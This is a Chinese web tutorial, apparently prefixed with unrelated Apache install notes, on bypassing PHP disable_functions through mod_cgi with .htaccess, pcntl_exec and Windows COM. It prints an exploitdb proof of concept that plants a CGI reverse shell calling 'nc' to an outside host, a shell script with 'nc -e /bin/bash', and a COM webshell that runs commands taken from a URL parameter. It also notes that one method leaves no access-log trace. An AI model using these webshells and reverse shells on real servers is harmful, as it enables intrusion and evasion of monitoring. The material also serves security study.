1、官網下載Apache2.4
2、將下載的Apache解壓到要搭配的環境目錄
3、命令行下進入到apache下面的bin目錄,輸入 httpd -k install
4、安裝后報錯“ServerRoot must be a valid directory”
解決:修改httpd.conf Define SRVROOT "D:/myenv/Apache24"改成絕對路徑
5、卸載之前的服務,在重新安裝 httpd –k uninstall httpd -k install
6、報錯“make_sock could not bind to address 443”
解決:修改Apache24\conf\extra\httpd-ssl.conf的443替換為444
修改Apache24\conf\extra\httpd-ahssl.conf的443替換為444
7、Apache啟動失敗,使用命令httpd.exe -w -n "Apache2.4" -k start,看到錯誤原因
這里一定要注意Apache和php的版本,開始我下載的Apache是V14,php是V11,Apache和php整合一直失敗,就改成了
httpd-2.4.27-x64-vc14.zip和php-7.1.8-Win32-VC14-x64.zip
-上篇主要講解了利用環境變量LD_PRELOAD劫持系統函數,通過加載惡意so達到執行系統命令的效果。
-中篇的教程主要是講下上次提到的另外一種姿勢:
后端組件漏洞(imagemagick、GhostScript和bash shellshock)
現在開始寫下篇的教程,不知道能不能寫完,越看越覺得姿勢確實太多了,有些復現起來比較簡單的姿勢我這里就不多介紹了。
Apache+mod_cgi+.htaccess
這個其實也是在yangyangwithgnu的那篇 無需sendmail:巧用LD_PRELOAD突破disable_functions 中提及但未復現的一種姿勢,這種姿勢還是國外的安全研究者最先發現,然后發表并在exploitdb上也留下了驗證的poc,在php5時代可以說是曾經火熱一時。現在我們來復現一下。
測試環境
操作系統: CentOS Linux release 7.2 . 1511 Apache 版本: Apache / 2.4 . 6 PHP 版本: PHP 5.4 . 16 禁用函數:symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec
安裝過程如遇No package xxx available可安裝擴展更新包
yum install epel - release
根據教程描述,想要復現本漏洞要滿足以下條件:
1. web服務器運行apache
2.啟用mod_cgi模塊
3.允許.htaccess文件生效
4..htaccess文件必須具備寫權限
好了我們依次看下條件能否滿足吧。
第一個條件最好滿足,因為我們就是apache2+php5的環境;
第二個條件我們看下:
mod_cgi模塊默認安裝完httpd后就會啟用,可以通過以下命令查看已經安裝的apache模塊:
httpd - M
cgimodule真的就是mod_cgi嗎?這里我們看下apache官方文檔。
(http://man.gimoo.net/apache2/html/mod_cgi.html)
根據描述,mod_cgi作用如下:
任何具有mime類型application/x-httpd-cgi或者被 cgi-script處理器(Apache 1.1或以后版本)處理的文件將被作為CGI腳本對待并由服務器運行, 它的輸出將被返回給客戶端。通過兩種途徑使文件成為CGI腳本,或者文件具有已由 AddType指令定義的擴展名,或者文件位于 ScriptAlias目錄中。
其實很簡單:mod_cgi模塊就是將cgi腳本文件或者用戶自定義格式的腳本文件在服務端運行并將輸出返回。
第三個條件和第四個條件都是關于.htacess的,我們一起看一下。
首先第四個條件是.htaccess文件可以寫入,這個很簡單,一般該文件都是在指定的web目錄下啟用,我們都可以在web目錄下自己創建文件的,所以寫文件自然不在話下。
至于第三個條件.htaccess文件是否生效,則要看apache配置文件中指定web目錄下AllowOverride參數值的設置。
在 AllowOverride 設置為 None 時, .htaccess 文件將被完全忽略。當此指令設置為 All 時,所有具有 ".htaccess" 作用域的指令都允許出現在 .htaccess 文件中。
這里我將apache配置文件該web目錄下AllowOverride參數直接設置為ALL。
有人可能會說,這么設置有點尷尬吧,不是默認配置啊!
我們看下apache官方文檔allowoverride簡介(http://httpd.apache.org/docs/2.4/mod/core.html#allowoverride)
里面提到:apache 2.3.8及以前版本,AllowOverride參數默認值就是ALL
知道2.3.9以上版本才改為None,所以影響范圍還是比較可觀的。然而我的web目錄下目前暫時沒有.htaccess文件,這個其實不影響,后面會說明。
好了,到這里我們4個條件都滿足了,我們開始嘗試復現一下吧。
開始復現
這里直接用exploitdb上的poc。
mod_cgi.php
<?php $cmd="nc -c '/bin/bash' 10.11.12.13 8888"; //command to be executed $shellfile="#!/bin/bash\n"; //using a shellscript $shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output $shellfile .="$cmd"; //executing $cmd function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter { echo "$text: " . ($condition ? $yes : $no) . "<br>\n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi=in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable=is_writable('.'); //current dir writable? $htaccess=!empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener <img src='shell.dizzle' style='display:none;'>"; //call the script } } ?>
直接把該php文件上傳到web目錄下,里面執行的是反彈shell的命令,我們開啟監聽服務器的指定端口,然后嘗試訪問該文件。
反彈成功,命令可以執行,繞過了disable_functions的限制。
原因探究
我們分析一下這個poc為什么可以實現命令執行呢?
簡單分析一下mod_cgi.php:
首先它吧反彈shell的命令寫到了當前目錄下的shell.dizzle文件中,不認識這個后綴沒有關系,后面會解釋。
下面是創建檢查指定條件是否滿足的函數checkEnabled。
接著檢查url中是否有checked字段,如果沒有嘗試創建.htaccess文件然后重定向url添加?checked=true。
接下來依次檢測:
1. mod_cgi 模塊是否啟用 2. 當前目錄是否可寫; 3. . htaccess 文件是否可以生效;
如果不滿足,則報錯表示不滿足利用的條件。
接下來備份原有的.htaccess文件,并新建.htaccess文件內容為:
Options +ExecCGI\nAddHandler cgi-script .dizzle
創建shell.dizzle文件,并賦予777權限,最后通過js調用該腳本在服務端運行。
思路非常清晰,創建的文件其實都可以在服務器和瀏覽器看到。
新增.htaccess文件,并且看到里面的內容
內容是:
Options + ExecCGI AddHandler cgi - script . dizzle
關于apache的Options指令含義,參考Apache Options指令詳解(http://www.365mini.com/page/apache-options-directive.htm)
其中 ExecGGI代表允許使用mod_cgi模塊執行CGI腳本。
而 AddHandlercgi-script.dizzle這是代表后綴名是.dizzle格式的文件調用cgi程序來處理。
這個和apache另外一個配置很像 AddType,這兩個有什么區別呢?
AddType 是與類型表相關的,描述的是擴展名與文件類型之間的關系,如: AddType application / x - x509 - ca - cert . crt 說明 .crt 擴展名的文件就是application/x-x509-ca-cert類型的; 在內容協商時,如果客戶端需要是application/x-x509-ca-cert類型的,就將 .crt結尾的資源返回 注意: 經過內容協商的資源,在 http 相應頭中有相應的 Content - Location 說明,如: GET / a HTTP / 1.1 … … Content - Location : a . php … AddHandler 說明什么樣的擴展名使用什么樣的程序來處理,描述的是擴展名與處理程序之間的關系 AddHandler cgi - script . cgi
簡而言之
AddType是定義什么樣后綴名的文件對應的文件類型
AddHandler是定義什么樣后綴名文件對應的處理程序
新增shell.dizzle文件,里面的內容是反彈shell
頁面js調用shell.dizzle
好了,到這里基本上就復現成功并且解釋了其中的原理,最好的理解方式就是手動復現一遍。
利用pcntl_exec
這個其實網上資料多,但是有復現記錄的并不多,原因可能是pcntl這個擴展默認是不安裝的,而且這個方法也相對較為冷門。
pcntl擴展是用于讓PHP支持多線程操作而開發的,默認情況下是不安裝本擴展的。
所以為了復現,我們需要自己安裝一下該擴展,這里需要用到phpize(用于給PHP動態添加擴展,避免重新編譯安裝一遍php),如果phpize命令不存在或執行報錯可以yum或者apt-get 安裝一下php-devel。
切記安裝pcntl擴展時,下載和已安裝php同版本的源碼包,如果找不到,去PHP5博物館(https://museum.php.net/php5/)尋找下載。
--安裝pcntl教程參考:
php5.5 安裝pcntl擴展(https://blog.csdn.net/fareast_mzh/article/details/87349857)
如何安裝php擴展pcntl(https://www.jianshu.com/p/770d0bea2087)
記得php.ini中需要將pcntl_exec從disable_functions中刪除。
安裝完成以后,可以準備兩個文件上傳到web目錄下。
pcntl.php,核心就是利用pcntl擴展的pcntl_exec函數執行指定腳本。
<?php if(function_exists('pcntl_exec')) { pcntl_exec("/bin/bash", array("/var/www/html/test.sh")); } else { echo 'pcntl extension is not support!'; } ?>
test.sh,由于腳本可為Linux shell腳本,所以靈活性較大,推薦直接反彈shell
#!/bin/bash nc - e / bin / bash 10.11 . 12.13 8888
此時我們遠端服務器開啟監聽,嘗試訪問pcntl.php。
命令成功執行,頁面報錯無任何影響,這樣利用的好處在于此時access_log不會有任何記錄,error_log也只有在連接斷開的時候才會有1條記錄,隱蔽性還可以~
Windows System Components
利用COM組件繞過disable_functions,這個是Windows上繞過的姿勢之一。
在PHP 5.x系列可以使用該繞過的姿勢,無奈之下只能拿我本機Windows 10來復現了,本來想著都9102年了,這個姿勢可能失效了,結果后來測試了一下,居然還能用~
測試環境
操作系統: Windows 10 Apache 版本: Apache2 PHP 版本: PHP 5.6 . 15 禁用函數:symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec
方便起見,我直接用XAMPP搭建的環境,同樣是配置了disable_functions,傳了一個webshell上去,可以查看文件,但是不能執行命令。
當然,這個漏洞在利用的時候,還是需要一定條件的,因為是COM組件的問題,所以要現在php.ini中啟用相關dll和配置,然后重啟apache。
extension=php_com_dotnet . dll com . allow_dcom=true
這里簡單說下COM組件的用途:
COM組件由以Win 32動態連接庫(DLL)或可執行文件(EXE)形式發布的可執行代碼所組成。遵循COM規范編寫出來的組件將能夠滿足對組件架構的所有要求。COM組件可以給應用程序、操作系統以及其他組件提供服務;自定義的COM組件可以在運行時刻同其他組件連接起來構成某個應用程序;COM組件可以動態的插入或卸出應用。
復現過程
這里直接使用構造好的poc
comm.php
<?php $command=$_GET[a]; $wsh=new COM('WScript.shell'); // 生成一個COM對象 $exec=$wsh->exec('cmd.exe /c '.$command); //調用對象方法來執行命令 $stdout=$exec->StdOut(); $stroutput=$stdout->ReadAll(); echo $stroutput ?>
然后嘗試訪問一下
http : //url/comm.php?a=whoami
試試查看當前目錄pwd
再看看能不能彈計算器
真的都可以,效果大贊,這種對于啟用COM組件的php站點簡直就是繞過殺器。
--結語
好了,到這里介紹的姿勢也很多了,雖然還有很多其它姿勢沒有介紹,比如:
imap_open繞過(和pcntl類似,需要安裝imap擴展)
黑名單函數繞過(利用冷門函數執行命令)
perl擴展安全模式繞過
win32std擴展繞過
...
有興趣的小伙伴可以自行復現體驗,我這里不會再繼續補充了,寫完這篇教程雖然在環境構造上花了不少時間,但收獲還是很多,學無止境,感覺需要學習的東西還有很多~
參考鏈接
https://www.freebuf.com/articles/web/169156.html
https://github.com/l3m0n/Bypass_Disable_functions_Shell
https://cloud.tencent.com/developer/article/1141142